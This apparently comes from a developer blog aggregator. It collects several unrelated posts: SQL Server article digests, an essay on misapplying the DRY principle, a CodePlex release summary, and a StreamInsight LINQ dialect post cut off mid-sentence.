handling, or browser HTTP handling. One difference is: In browser HTTP handling, only HTTP status code 200 (OK) and 404 (not OK, including 500, 403, etc.) are supported In client HTTP handling, all HTTP status code are supported So in above code, exceptions in 2 modes are handled differently. Conclusion Here is the whole DirectoryCatelog’s looking: Please click here to download the source code, a simple unit test is included. This is a rough implementation. And, for convenience, some design and coding are just following the built in AggregateCatalog class and Deployment class. Please feel free to modify the code, and please kindly tell me if any issue is found.

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• SQL SERVER – Weekly Series – Memory Lane – #049

  - by Pinal Dave

  Here is the list of selected articles of SQLAuthority.com across all these years. Instead of just listing all the articles I have selected a few of my most favorite articles and have listed them here with additional notes below it. Let me know which one of the following is your favorite article from memory lane. 2007 Two Connections Related Global Variables Explained – @@CONNECTIONS and @@MAX_CONNECTIONS @@CONNECTIONS Returns the number of attempted connections, either successful or unsuccessful since SQL Server was last started. @@MAX_CONNECTIONS Returns the maximum number of simultaneous user connections allowed on an instance of SQL Server. The number returned is not necessarily the number currently configured. Query Editor – Microsoft SQL Server Management Studio This post may be very simple for most of the users of SQL Server 2005. Earlier this year, I have received one question many times – Where is Query Analyzer in SQL Server 2005? I wrote small post about it and pointed many users to that post – SQL SERVER – 2005 Query Analyzer – Microsoft SQL SERVER Management Studio. Recently I have been receiving similar question. OUTPUT Clause Example and Explanation with INSERT, UPDATE, DELETE SQL Server 2005 has a new OUTPUT clause, which is quite useful. OUTPUT clause has access to insert and deleted tables (virtual tables) just like triggers. OUTPUT clause can be used to return values to client clause. OUTPUT clause can be used with INSERT, UPDATE, or DELETE to identify the actual rows affected by these statements. OUTPUT clause can generate a table variable, a permanent table, or temporary table. Even though, @@Identity will still work with SQL Server 2005, however I find the OUTPUT clause very easy and powerful to use. Let us understand the OUTPUT clause using an example. Find Name of The SQL Server Instance Based on database server stored procedures has to run different logic. We came up with two different solutions. 1) When database schema is very much changed, we wrote completely new stored procedure and deprecated older version once it was not needed. 2) When logic depended on Server Name we used global variable @@SERVERNAME. It was very convenient while writing migrating script which depended on the server name for the same database. Explanation of TRY…CATCH and ERROR Handling With RAISEERROR Function One of the developers at my company thought that we can not use the RAISEERROR function in new feature of SQL Server 2005 TRY… CATCH. When asked for an explanation he suggested SQL SERVER – 2005 Explanation of TRY… CATCH and ERROR Handling article as excuse suggesting that I did not give example of RAISEERROR with TRY…CATCH. We all thought it was funny. Just to keep records straight, TRY… CATCH can sure use RAISEERROR function. Different Types of Cache Objects Serveral kinds of objects can be stored in the procedure cache: Compiled Plans: When the query optimizer finishes compiling a query plan, the principal output is compiled plan. Execution contexts: While executing a compiled plan, SQL Server has to keep track of information about the state of execution. Cursors: Cursors track the execution state of server-side cursors, including the cursor’s current location within a resultset. Algebrizer trees: The Algebrizer’s job is to produce an algebrizer tree, which represents the logic structure of a query. Open SSMS From Command Prompt – sqlwb.exe Example This article is written by request and suggestion of Sr. Web Developer at my organization. Due to the nature of this article most of the content is referred from Book On-Line. sqlwbcommand prompt utility which opens SQL Server Management Studio. Squib command does not run queries from the command prompt. sqlcmd utility runs queries from command prompt, read for more information. 2008 Puzzle – Solution – Computed Columns Datatype Explanation Just a day before I wrote article SQL SERVER – Puzzle – Computed Columns Datatype Explanation which was inspired by SQL Server MVP Jacob Sebastian. I suggest that before continuing this article read the original puzzle question SQL SERVER – Puzzle – Computed Columns Datatype Explanation.The question was if the computed column was of datatype TINYINT how to create a Computed Column of datatype INT? 2008 – Find If Index is Being Used in Database It is very often I get a query that how to find if any index is being used in the database or not. If any database has many indexes and not all indexes are used it can adversely affect performance. If the number of indices are higher it reduces the INSERT / UPDATE / DELETE operation but increase the SELECT operation. It is recommended to drop any unused indexes from table to improve the performance. 2009 Interesting Observation – Execution Plan and Results of Aggregate Concatenation Queries If you want to see what’s going on here, I think you need to shift your point of view from an implementation-centric view to an ANSI point of view. ANSI does not guarantee processing the order. Figure 2 is interesting, but it will be potentially misleading if you don’t understand the ANSI rule-set SQL Server operates under in most cases. Implementation thinking can certainly be useful at times when you really need that multi-million row query to finish before the backup fire off, but in this case, it’s counterproductive to understanding what is going on. SQL Server Management Studio and Client Statistics Client Statistics are very important. Many a times, people relate queries execution plan to query cost. This is not a good comparison. Both parameters are different, and they are not always related. It is possible that the query cost of any statement is less, but the amount of the data returned is considerably larger, which is causing any query to run slow. How do we know if any query is retrieving a large amount data or very little data? 2010 I encourage all of you to go through complete series and write your own on the subject. If you write an article and send it to me, I will publish it on this blog with due credit to you. If you write on your own blog, I will update this blog post pointing to your blog post. SQL SERVER – ORDER BY Does Not Work – Limitation of the View 1 SQL SERVER – Adding Column is Expensive by Joining Table Outside View – Limitation of the View 2 SQL SERVER – Index Created on View not Used Often – Limitation of the View 3 SQL SERVER – SELECT * and Adding Column Issue in View – Limitation of the View 4 SQL SERVER – COUNT(*) Not Allowed but COUNT_BIG(*) Allowed – Limitation of the View 5 SQL SERVER – UNION Not Allowed but OR Allowed in Index View – Limitation of the View 6 SQL SERVER – Cross Database Queries Not Allowed in Indexed View – Limitation of the View 7 SQL SERVER – Outer Join Not Allowed in Indexed Views – Limitation of the View 8 SQL SERVER – SELF JOIN Not Allowed in Indexed View – Limitation of the View 9 SQL SERVER – Keywords View Definition Must Not Contain for Indexed View – Limitation of the View 10 SQL SERVER – View Over the View Not Possible with Index View – Limitations of the View 11 SQL SERVER – Get Query Running in Session I was recently looking for syntax where I needed a query running in any particular session. I always remembered the syntax and ha d actually written it down before, but somehow it was not coming to mind quickly this time. I searched online and I ended up on my own article written last year SQL SERVER – Get Last Running Query Based on SPID. I felt that I am getting old because I forgot this really simple syntax. Find Total Number of Transaction on Interval In one of my recent Performance Tuning assignments I was asked how do someone know how many transactions are happening on a server during certain interval. I had a handy script for the same. Following script displays transactions happened on the server at the interval of one minute. You can change the WAITFOR DELAY to any other interval and it should work. 2011 Here are two DMV’s which are newly introduced in SQL Server 2012 and provides vital information about SQL Server. DMV – sys.dm_os_volume_stats – Information about operating system volume DMV – sys.dm_os_windows_info – Information about Operating System SQL Backup and FTP – A Quick and Handy Tool I have used this tool extensively since 2009 at numerous occasion and found it to be very impressive. What separates it from the crowd the most – it is it’s apparent simplicity and speed. When I install SQLBackupAndFTP and configure backups – all in 1 or 2 minutes, my clients are always impressed. Quick Note about JOIN – Common Questions and Simple Answers In this blog post we are going to talk about join and lots of things related to the JOIN. I recently started office hours to answer questions and issues of the community. I receive so many questions that are related to JOIN. I will share a few of the same over here. Most of them are basic, but note that the basics are of great importance. 2012 Importance of User Without Login Question: “In recent version of SQL Server we can create user without login. What is the use of it?” Great question indeed. Let me first attempt to answer this question but after reading my answer I need your help. I want you to help him as well with adding more value to it. Preserve Leading Zero While Coping to Excel from SSMS Earlier I wrote two articles about how to efficiently copy data from SSMS to Excel. Since I wrote that post there are plenty of interest generated on this subject. There are a few questions I keep on getting over this subject. One of the question is how to get the leading zero preserved while copying the data from SSMS to Excel. Well it is almost the same way as my earlier post SQL SERVER – Excel Losing Decimal Values When Value Pasted from SSMS ResultSet. The key here is in EXCEL and not in SQL Server. Solution – 2 T-SQL Puzzles – Display Star and Shortest Code to Display 1 Earlier on this blog we had asked two puzzles. The response from all of you is nothing but Amazing. I have received 350+ responses. Many are valid and many were indeed something I had not thought about it. I strongly suggest you read all the puzzles and their answers here - trust me if you start reading the comments you will not stop till you read every single comment. Seriously trust me on it. Personally I have learned a lot from it. Identify Most Resource Intensive Queries – SQL in Sixty Seconds #028 – Video http://www.youtube.com/watch?v=TvlYy-TGaaA Importance of User Without Login – T-SQL Demo Script Earlier I wrote a blog post about SQL SERVER – Importance of User Without Login and my friend and SQL Expert Vinod Kumar has written excellent follow up blog post about Contained Databases inside SQL Server 2012. Now lots of people asked me if I can also explain the same concept again so here is the small demonstration for it. Let me show you how login without user can help. Before we continue on this subject I strongly recommend that you read my earlier blog post here. In following demo I am going to demonstrate following situation. Login using the System Admin account Create a user without login Checking Access Impersonate the user without login Checking Access Revert Impersonation Give Permission to user without login Impersonate the user without login Checking Access Revert Impersonation Clean up Reference: Pinal Dave (http://blog.sqlauthority.com) Filed under: Memory Lane, PostADay, SQL, SQL Authority, SQL Query, SQL Server, SQL Tips and Tricks, T SQL, Technology

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• SQL SERVER – Weekly Series – Memory Lane – #039

  - by Pinal Dave

  Here is the list of selected articles of SQLAuthority.com across all these years. Instead of just listing all the articles I have selected a few of my most favorite articles and have listed them here with additional notes below it. Let me know which one of the following is your favorite article from memory lane. 2007 FQL – Facebook Query Language Facebook list following advantages of FQL: Condensed XML reduces bandwidth and parsing costs. More complex requests can reduce the number of requests necessary. Provides a single consistent, unified interface for all of your data. It’s fun! UDF – Get the Day of the Week Function The day of the week can be retrieved in SQL Server by using the DatePart function. The value returned by the function is between 1 (Sunday) and 7 (Saturday). To convert this to a string representing the day of the week, use a CASE statement. UDF – Function to Get Previous And Next Work Day – Exclude Saturday and Sunday While reading ColdFusion blog of Ben Nadel Getting the Previous Day In ColdFusion, Excluding Saturday And Sunday, I realize that I use similar function on my SQL Server Database. This function excludes the Weekends (Saturday and Sunday), and it gets previous as well as next work day. Complete Series of SQL Server Interview Questions and Answers Data Warehousing Interview Questions and Answers – Introduction Data Warehousing Interview Questions and Answers – Part 1 Data Warehousing Interview Questions and Answers – Part 2 Data Warehousing Interview Questions and Answers – Part 3 Data Warehousing Interview Questions and Answers Complete List Download 2008 Introduction to Log Viewer In SQL Server all the windows event logs can be seen along with SQL Server logs. Interface for all the logs is same and can be launched from the same place. This log can be exported and filtered as well. DBCC SHRINKFILE Takes Long Time to Run If you are DBA who are involved with Database Maintenance and file group maintenance, you must have experience that many times DBCC SHRINKFILE operations takes a long time but any other operations with Database are relatively quicker. mssqlsystemresource – Resource Database The purpose of resource database is to facilitates upgrading to the new version of SQL Server without any hassle. In previous versions whenever version of SQL Server was upgraded all the previous version system objects needs to be dropped and new version system objects to be created. 2009 Puzzle – Write Script to Generate Primary Key and Foreign Key In SQL Server Management Studio (SSMS), there is no option to script all the keys. If one is required to script keys they will have to manually script each key one at a time. If database has many tables, generating one key at a time can be a very intricate task. I want to throw a question to all of you if any of you have scripts for the same purpose. Maximizing View of SQL Server Management Studio – Full Screen – New Screen I had explained the following two different methods: 1) Open Results in Separate Tab - This is a very interesting method as result pan shows up in a different tab instead of the splitting screen horizontally. 2) Open SSMS in Full Screen - This works always and to its best. Not many people are aware of this method; hence, very few people use it to enhance performance. 2010 Find Queries using Parallelism from Cached Plan T-SQL script gets all the queries and their execution plan where parallelism operations are kicked up. Pay attention there is TOP 10 is used, if you have lots of transactional operations, I suggest that you change TOP 10 to TOP 50 This is the list of the all the articles in the series of computed columns. SQL SERVER – Computed Column – PERSISTED and Storage This article talks about how computed columns are created and why they take more storage space than before. SQL SERVER – Computed Column – PERSISTED and Performance This article talks about how PERSISTED columns give better performance than non-persisted columns. SQL SERVER – Computed Column – PERSISTED and Performance – Part 2 This article talks about how non-persisted columns give better performance than PERSISTED columns. SQL SERVER – Computed Column and Performance – Part 3 This article talks about how Index improves the performance of Computed Columns. SQL SERVER – Computed Column – PERSISTED and Storage – Part 2 This article talks about how creating index on computed column does not grow the row length of table. SQL SERVER – Computed Columns – Index and Performance This article summarized all the articles related to computed columns. 2011 SQL SERVER – Interview Questions and Answers – Frequently Asked Questions – Data Warehousing Concepts – Day 21 of 31 What is Data Warehousing? What is Business Intelligence (BI)? What is a Dimension Table? What is Dimensional Modeling? What is a Fact Table? What are the Fundamental Stages of Data Warehousing? What are the Different Methods of Loading Dimension tables? Describes the Foreign Key Columns in Fact Table and Dimension Table? What is Data Mining? What is the Difference between a View and a Materialized View? SQL SERVER – Interview Questions and Answers – Frequently Asked Questions – Data Warehousing Concepts – Day 22 of 31 What is OLTP? What is OLAP? What is the Difference between OLTP and OLAP? What is ODS? What is ER Diagram? SQL SERVER – Interview Questions and Answers – Frequently Asked Questions – Data Warehousing Concepts – Day 23 of 31 What is ETL? What is VLDB? Is OLTP Database is Design Optimal for Data Warehouse? If denormalizing improves Data Warehouse Processes, then why is the Fact Table is in the Normal Form? What are Lookup Tables? What are Aggregate Tables? What is Real-Time Data-Warehousing? What are Conformed Dimensions? What is a Conformed Fact? How do you Load the Time Dimension? What is a Level of Granularity of a Fact Table? What are Non-Additive Facts? What is a Factless Facts Table? What are Slowly Changing Dimensions (SCD)? SQL SERVER – Interview Questions and Answers – Frequently Asked Questions – Data Warehousing Concepts – Day 24 of 31 What is Hybrid Slowly Changing Dimension? What is BUS Schema? What is a Star Schema? What Snow Flake Schema? Differences between the Star and Snowflake Schema? What is Difference between ER Modeling and Dimensional Modeling? What is Degenerate Dimension Table? Why is Data Modeling Important? What is a Surrogate Key? What is Junk Dimension? What is a Data Mart? What is the Difference between OLAP and Data Warehouse? What is a Cube and Linked Cube with Reference to Data Warehouse? What is Snapshot with Reference to Data Warehouse? What is Active Data Warehousing? What is the Difference between Data Warehousing and Business Intelligence? What is MDS? Explain the Paradigm of Bill Inmon and Ralph Kimball. SQL SERVER – Azure Interview Questions and Answers – Guest Post by Paras Doshi – Day 25 of 31 Paras Doshi has submitted 21 interesting question and answers for SQL Azure. 1.What is SQL Azure? 2.What is cloud computing? 3.How is SQL Azure different than SQL server? 4.How many replicas are maintained for each SQL Azure database? 5.How can we migrate from SQL server to SQL Azure? 6.Which tools are available to manage SQL Azure databases and servers? 7.Tell me something about security and SQL Azure. 8.What is SQL Azure Firewall? 9.What is the difference between web edition and business edition? 10.How do we synchronize On Premise SQL server with SQL Azure? 11.How do we Backup SQL Azure Data? 12.What is the current pricing model of SQL Azure? 13.What is the current limitation of the size of SQL Azure DB? 14.How do you handle datasets larger than 50 GB? 15.What happens when the SQL Azure database reaches Max Size? 16.How many databases can we create in a single server? 17.How many servers can we create in a single subscription? 18.How do you improve the performance of a SQL Azure Database? 19.What is code near application topology? 20.What were the latest updates to SQL Azure service? 21.When does a workload on SQL Azure get throttled? SQL SERVER – Interview Questions and Answers – Guest Post by Malathi Mahadevan – Day 26 of 31 Malachi had asked a simple question which has several answers. Each answer makes you think and ponder about the reality of the IT world. Look at the simple question – ‘What is the toughest challenge you have faced in your present job and how did you handle it’? and its various answers. Each answer has its own story. SQL SERVER – Interview Questions and Answers – Guest Post by Rick Morelan – Day 27 of 31 Rick Morelan of Joes2Pros has written an excellent blog post on the subject how to find top N values. Most people are fully aware of how the TOP keyword works with a SELECT statement. After years preparing so many students to pass the SQL Certification I noticed they were pretty well prepared for job interviews too. Yes, they would do well in the interview but not great. There seemed to be a few questions that would come up repeatedly for almost everyone. Rick addresses similar questions in his lucid writing skills. 2012 Observation of Top with Index and Order of Resultset SQL Server has lots of things to learn and share. It is amazing to see how people evaluate and understand different techniques and styles differently when implementing. The real reason may be absolutely different but we may blame something totally different for the incorrect results. Read the blog post to learn more. How do I Record Video and Webcast How to Convert Hex to Decimal or INT Earlier I asked regarding a question about how to convert Hex to Decimal. I promised that I will post an answer with Due Credit to the author but never got around to post a blog post around it. Read the original post over here SQL SERVER – Question – How to Convert Hex to Decimal. Query to Get Unique Distinct Data Based on Condition – Eliminate Duplicate Data from Resultset The natural reaction will be to suggest DISTINCT or GROUP BY. However, not all the questions can be solved by DISTINCT or GROUP BY. Let us see the following example, where a user wanted only latest records to be displayed. Let us see the example to understand further. Reference: Pinal Dave (http://blog.sqlauthority.com) Filed under: Memory Lane, PostADay, SQL, SQL Authority, SQL Query, SQL Server, SQL Tips and Tricks, T SQL, Technology

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• Evil DRY

  - by StefanSteinegger

  DRY (Don't Repeat Yourself) is a basic software design and coding principle. But there is just no silver bullet. While DRY should increase maintainability by avoiding common design mistakes, it could lead to huge maintenance problems when misunderstood. The root of the problem is most probably that many developers believe that DRY means that any piece of code that is written more then once should be made reusable. But the principle is stated as "Every piece of knowledge must have a single, unambiguous, authoritative representation within a system." So the important thing here is "knowledge". Nobody ever said "every piece of code". I try to give some examples of misusing the DRY principle. Code Repetitions by Coincidence There is code that is repeated by pure coincidence. It is not the same code because it is based on the same piece of knowledge, it is just the same by coincidence. It's hard to give an example of such a case. Just think about some lines of code the developer thinks "I already wrote something similar". Then he takes the original code, puts it into a public method, even worse into a base class where none had been there before, puts some weird arguments and some if or switch statements into it to support all special cases and calls this "increasing maintainability based on the DRY principle". The resulting "reusable method" is usually something the developer not even can give a meaningful name, because its contents isn't anything specific, it is just a bunch of code. For the same reason, nobody will really understand this piece of code. Typically this method only makes sense to call after some other method had been called. All the symptoms of really bad design is evident. Fact is, writing this kind of "reusable methods" is worse then copy pasting! Believe me. What will happen when you change this weird piece of code? You can't say what'll happen, because you can't understand what the code is actually doing. So better don't touch it anymore. Maintainability just died. Of course this problem is with any badly designed code. But because the developer tried to make this method as reusable as possible, large parts of the system get dependent on it. Completely independent parts get tightly coupled by this common piece of code. Changing on the single common place will have effects anywhere in the system, a typical symptom of too tight coupling. Without trying to dogmatically (and wrongly) apply the DRY principle, you just had a system with a weak design. Now you get a system which just can't be maintained anymore. So what can you do against it? When making code reusable, always identify the generally reusable parts of it. Find the reason why the code is repeated, find the common "piece of knowledge". If you have to search too far, it's probably not really there. Explain it to a colleague, if you can't explain or the explanation is to complicated, it's probably not worth to reuse. If you identify the piece of knowledge, don't forget to carefully find the place where it should be implemented. Reusing code is never worth giving up a clean design. Methods always need to do something specific. If you can't give it a simple and explanatory name, you did probably something weird. If you can't find the common piece of knowledge, try to make the code simpler. For instance, if you have some complicated string or collection operations within this code, write some general-purpose operations into a helper class. If your code gets simple enough, its not so bad if it can't be reused. If you are not able to find anything simple and reasonable, copy paste it. Put a comment into the code to reference the other copies. You may find a solution later. Requirements Repetitions by Coincidence Let's assume that you need to implement complex tax calculations for many countries. It's possible that some countries have very similar tax rules. These rules are still completely independent from each other, since every country can change it of its own. (Assumed that this similarity is actually by coincidence and not by political membership. There might be basic rules applying to all European countries. etc.) Let's assume that there are similarities between an Asian country and an African country. Moving the common part to a central place will cause problems. What happens if one of the countries changes its rules? Or - more likely - what happens if users of one country complain about an error in the calculation? If there is shared code, it is very risky to change it, even for a bugfix. It is hard to find requirements to be repeated by coincidence. Then there is not much you can do against the repetition of the code. What you really should consider is to make coding of the rules as simple as possible. So this independent knowledge "Tax Rules in Timbuktu" or wherever should be as pure as possible, without much overhead and stuff that does not belong to it. So you can write every independent requirement short and clean. DRYing try-catch and using Blocks This is a technical issue. Blocks like try-catch or using (e.g. in C#) are very hard to DRY. Imagine a complex exception handling, including several catch blocks. When the contents of the try block as well as the contents of the individual catch block are trivial, but the whole structure is repeated on many places in the code, there is almost no reasonable way to DRY it. try { // trivial code here using (Thingy thing = new thingy) { //trivial, but always different line of code } } catch(FooException foo) { // trivial foo handling } catch (BarException bar) { // trivial bar handling } catch { // trivial common handling } finally { // trivial finally block } The key here is that every block is trivial, so there is nothing to just move into a separate method. The only part that differs from case to case is the line of code in the body of the using block (or any other block). The situation is especially interesting if the many occurrences of this structure are completely independent: they appear in classes with no common base class, they don't aggregate each other and so on. Let's assume that this is a common pattern in service methods within the whole system. Examples of Evil DRYing in this situation: Put a if or switch statement into the method to choose the line of code to execute. There are several reasons why this is not a good idea: The close coupling of the formerly independent implementation is the strongest. Also the readability of the code and the use of a parameter to control the logic. Put everything into a method which takes a delegate as argument to call. The caller just passes his "specific line of code" to this method. The code will be very unreadable. The same maintainability problems apply as for any "Code Repetition by Coincidence" situations. Enforce a base class to all the classes where this pattern appears and use the template method pattern. It's the same readability and maintainability problem as above, but additionally complex and tightly coupled because of the base class. I would call this "Inheritance by Coincidence" which will not lead to great software design. What can you do against it: Ideally, the individual line of code is a call to a class or interface, which could be made individual by inheritance. If this would be the case, it wouldn't be a problem at all. I assume that it is no such a trivial case. Consider to refactor the error concept to make error handling easier. The last but not worst option is to keep the replications. Some pattern of code must be maintained in consistency, there is nothing we can do against it. And no reason to make it unreadable. Conclusion The DRY-principle is an important and basic principle every software developer should master. The key is to identify the "pieces of knowledge". There is code which can't be reused easily because of technical reasons. This requires quite a bit flexibility and creativity to make code simple and maintainable. It's not the problem of the principle, it is the problem of blindly applying a principle without understanding the problem it should solve. The result is mostly much worse then ignoring the principle.

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• CodePlex Daily Summary for Wednesday, September 12, 2012

  CodePlex Daily Summary for Wednesday, September 12, 2012Popular ReleasesActive Forums for DotNetNuke CMS: Active Forums 05.00.00 RC2: Active Forums 05.00.00 RC2SSIS Compressed File Source and Destination Components: Compressed File Souce and Destination Components: Initial Beta ReleaseArduino for Visual Studio: Arduino 1.x for Visual Studio 2012, 2010 and 2008: Register for the visualmicro.com forum for more news and updates Version 1209.10 includes support for VS2012 and minor fixes for the Arduino debugger beta test team. Version 1208.19 is considered stable for visual studio 2010 and 2008. If you are upgrading from an older release of Visual Micro and encounter a problem then uninstall "Visual Micro for Arduino" using "Control Panel>Add and Remove Programs" and then run the install again. Key Features of 1209.10 Support for Visual Studio 2...Bookmark Collector: 01.01.00: This release has the follow new features and updates: Enhanced the ContentItem integration Changed the format of how ContentItem content is saved Implemented core JSON methods from the API Fully documented the source code Please Note: This module was originally written as a proof of concept for how to create a simple module using the Christoc module templates, and using the ContentItems API instead of a DAL. Minimum Requirements DotNetNuke v06.02.03 or newer .Net Framework v3.5 SP1...Microsoft Script Explorer for Windows PowerShell: Script Explorer Reference Implementation(s): This download contains Source Code and Documentation for Script Explorer DB Reference Implementation. You can create your own provider and use it in Script Explorer. Refer to the documentation for more information. The source code is provided "as is" without any warranty. Read the Readme.txt file in the SourceCode.Social Network Importer for NodeXL: SocialNetImporter(v.1.5): This new version includes: - Fixed the "resource limit" bug caused by Facebook - Bug fixes To use the new graph data provider, do the following: Unzip the Zip file into the "PlugIns" folder that can be found in the NodeXL installation folder (i.e "C:\Program Files\Social Media Research Foundation\NodeXL Excel Template\PlugIns") Open NodeXL template and you can access the new importer from the "Import" menuAcDown????? - AcDown Downloader Framework: AcDown????? v4.1: ??●AcDown??????????、??、??、???????。????，????，?????????????????????????。???????????Acfun、????(Bilibili)、??、??、YouTube、??、???、??????、SF????、????????????。 ●??????AcPlay?????，??????、????????????????。 ● AcDown??????????????????，????????????????????????????。 ● AcDown???????C#??，????.NET Framework 2.0??。?????"Acfun?????"。 ????32??64? Windows XP/Vista/7/8 ???? 32??64? ???Linux ????(1)????????Windows XP???,?????????.NET Framework 2.0???(x86)，?????"?????????"??? (2)???????????Linux???，????????Mono?? ??...Move Mouse: Move Mouse 2.5.2: FIXED - Minor fixes and improvements.MVC Controls Toolkit: Mvc Controls Toolkit 2.3: Added The new release is compatible with Mvc4 RTM. Support for handling Time Zones in dates. Specifically added helper methods to convert to UTC or local time all DateTimes contained in a model received by a controller, and helper methods to handle date only fileds. This together with a detailed documentation on how TimeZones are handled in all situations by the Asp.net Mvc framework, will contribute to mitigate the nightmare of dates and timezones. Multiple Templates, and more options to...DNN Metro7 style Skin package: Metro7 style Skin for DotNetNuke 06.02.00: Maintenance Release Changes on Metro7 06.02.00 Fixed width and height on the jQuery popup for the Editor. Navigation Provider changed to DDR menu Added menu files and scripts Changed skins to Doctype HTML Changed manifest to dnn6 manifest file Changed License to HTML view Fixed issue on Metro7/PinkTitle.ascx with double registering of the Actions Changed source folder structure and start folder, so the project works with the default DNN structure on developing Added VS 20...Xenta Framework - extensible enterprise n-tier application framework: Xenta Framework 1.9.0: Release Notes Imporved framework architecture Improved the framework security More import/export formats and operations New WebPortal application which includes forum, new, blog, catalog, etc. UIs Improved WebAdmin app. Reports, navigation and search Perfomance optimization Improve Xenta.Catalog domain More plugin interfaces and plugin implementations Refactoring Windows Azure support and much more... Package Guide Source Code - package contains the source code Binaries...Json.NET: Json.NET 4.5 Release 9: New feature - Added JsonValueConverter New feature - Set a property's DefaultValueHandling to Ignore when EmitDefaultValue from DataMemberAttribute is false Fix - Fixed DefaultValueHandling.Ignore not igoring default values of non-nullable properties Fix - Fixed DefaultValueHandling.Populate error with non-nullable properties Fix - Fixed error when writing JSON for a JProperty with no value Fix - Fixed error when calling ToList on empty JObjects and JArrays Fix - Fixed losing deci...Microsoft Ajax Minifier: Microsoft Ajax Minifier 4.66: Just going to bite the bullet and rip off the band-aid... SEMI-BREAKING CHANGE! Well, it's a BREAKING change to those who already adjusted their projects to use the previous breaking change's ill-conceived renamed DLLs (versions 4.61-4.65). For those who had not adapted and were still stuck in this-doesn't-work-please-fix-me mode, this is more like a fixing change. The previous breaking change just broke too many people, I'm sorry to say. Renaming the DLL from AjaxMin.dll to AjaxMinLibrary.dl...DotNetNuke® Community Edition CMS: 07.00.00 CTP (Not for Production Use): NOTE: New Minimum Requirementshttp://www.dotnetnuke.com/Portals/25/Blog/Files/1/3418/Windows-Live-Writer-1426fd8a58ef_902C-MinimumVersionSupport_2.png Simplified InstallerThe first thing you will notice is that the installer has been updated. Not only have we updated the look and feel, but we also simplified the overall install process. You shouldn’t have to click through a series of screens in order to just get your website running. With the 7.0 installer we have taken an approach that a...WinRT XAML Toolkit: WinRT XAML Toolkit - 1.2.2: WinRT XAML Toolkit based on the Windows 8 RTM SDK. Download the latest source from the SOURCE CODE page. For compiled version use NuGet. You can add it to your project in Visual Studio by going to View/Other Windows/Package Manager Console and entering: PM> Install-Package winrtxamltoolkit Features AsyncUI extensions Controls and control extensions Converters Debugging helpers Imaging IO helpers VisualTree helpers Samples Recent changes NOTE: Namespace changes DebugConsol...BIDS Helper: BIDS Helper 1.6.1: In addition to fixing a number of bugs that beta testers reported, this release includes the following new features for Tabular models in SQL 2012: New Features: Tabular Display Folders Tabular Translations Editor Tabular Sync Descriptions Fixed Issues: Biml issues 32849 fixing bug in Tabular Actions Editor Form where you type in an invalid action name which is a reserved word like CON or which is a duplicate name to another action 32695 - fixing bug in SSAS Sync Descriptions whe...Code Snippets for Windows Store Apps: Code Snippets for Windows Store Apps: First release of our snippets! For more information: Installation List of SnippetsUmbraco CMS: Umbraco 4.9.0: Whats newThe media section has been overhauled to support HTML5 uploads, just drag and drop files in, even multiple files are supported on any HTML5 capable browser. The folder content overview is also much improved allowing you to filter it and perform common actions on your media items. The Rich Text Editor’s “Media” button now uses an embedder based on the open oEmbed standard (if you’re upgrading, enable the media button in the Rich Text Editor datatype settings and set TidyEditorConten...WordMat: WordMat v. 1.02: This version was used for the 2012 exam.menu4web: menu4web 0.4.1 - javascript menu for web sites: This release is for those who believe that global variables are evil. menu4web has been wrapped into m4w singleton object. Added "Vertical Tabs" example which illustrates object notation.New Projects[ITFA GROUP] CODE GENER: Code Gener is a tool to help programmers and system builders in building applications. ANPR MX: ANPR MX is a simple Automatic Plate Recognition (ANPR) library for the North American average plate size based on C# and OpenCV. BatteryStatus: show battery level on status bar on an android deviceCode Snippets for Windows Store Apps: Code Snippets for Windows Store apps is a collection of around 60 IntelliSense Code Snippets for Visual Basic, C#, C++, and JavaScript developers.Cube2d: cube2dDiscover_U_Server: Discover_U_ServerExeLauncher: Make PATH recursiveExpression Evaluator + aggregate functions support: Simple library for expressions evaluation that supports variables in expression and aggregative functions to parse and evaluate expression against tabular data.FancyGrid: A custom datagrid for WPF with support for real-time filtering, multisort, and themes. Compatible with MVVM and normal WPF binding.langben: ??????????????，?????????????，??，???????，?????，???????，?????????????????????????。 ???? •????????（SOA） •????????????????? •?????????????? •??IE 6、IE 8+?FirefMakeTracks Gadgeteer GPS Module Driver: This project is the driver for the Gadgeteer compatible MakeTracks GPS module developed by Eric Hall and other members of the tinyclr.com community.MyCloud: heheOVS: OVS est un projet d'analyse et de traitement de signaux Vidéo sur IP avec remontées d'informations sur consultables sur des terminaux mobilesPMS: Project Management System for HSUScenario4: testSharePoint 2010 Syntax Highlighting: This project allows users to apply syntax highlighting to code snippits via the SharePoint 2010 Ribbon UI.SharePoint CRM: CRM/Project Management Site template for both SharePoint 2010 Enterprise and Office 365 Enterprise tennantsSharePoint PowerShell Wizard: The SharePoint PowerShell Wizards provides a tool to help generate and support some of the PowerShell scripts needed to recreate aspects of your farm.Shindo's Race System: Shindo's Race System is a plugin for SA:MP Dedicated Server 0.3e.Test MVC application: Test project - please ignore!weber: Weber is a private browser, it tries to prevent the user from being tracked by the advertisers and traffic monitoring sites. Hence it is severely impaired. Try!xuebin: web site

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• Changes to the LINQ-to-StreamInsight Dialect

  - by Roman Schindlauer

  In previous versions of StreamInsight (1.0 through 2.0), CepStream<> represents temporal streams of many varieties: Streams with ‘open’ inputs (e.g., those defined and composed over CepStream<T>.Create(string streamName) Streams with ‘partially bound’ inputs (e.g., those defined and composed over CepStream<T>.Create(Type adapterFactory, …)) Streams with fully bound inputs (e.g., those defined and composed over To*Stream – sequences or DQC) The stream may be embedded (where Server.Create is used) The stream may be remote (where Server.Connect is used) When adding support for new programming primitives in StreamInsight 2.1, we faced a choice: Add a fourth variety (use CepStream<> to represent streams that are bound the new programming model constructs), or introduce a separate type that represents temporal streams in the new user model. We opted for the latter. Introducing a new type has the effect of reducing the number of (confusing) runtime failures due to inappropriate uses of CepStream<> instances in the incorrect context. The new types are: IStreamable<>, which logically represents a temporal stream. IQStreamable<> : IStreamable<>, which represents a queryable temporal stream. Its relationship to IStreamable<> is analogous to the relationship of IQueryable<> to IEnumerable<>. The developer can compose temporal queries over remote stream sources using this type. The syntax of temporal queries composed over IQStreamable<> is mostly consistent with the syntax of our existing CepStream<>-based LINQ provider. However, we have taken the opportunity to refine certain aspects of the language surface. Differences are outlined below. Because 2.1 introduces new types to represent temporal queries, the changes outlined in this post do no impact existing StreamInsight applications using the existing types! SelectMany StreamInsight does not support the SelectMany operator in its usual form (which is analogous to SQL’s “CROSS APPLY” operator): static IEnumerable<R> SelectMany<T, R>(this IEnumerable<T> source, Func<T, IEnumerable<R>> collectionSelector) It instead uses SelectMany as a convenient syntactic representation of an inner join. The parameter to the selector function is thus unavailable. Because the parameter isn’t supported, its type in StreamInsight 1.0 – 2.0 wasn’t carefully scrutinized. Unfortunately, the type chosen 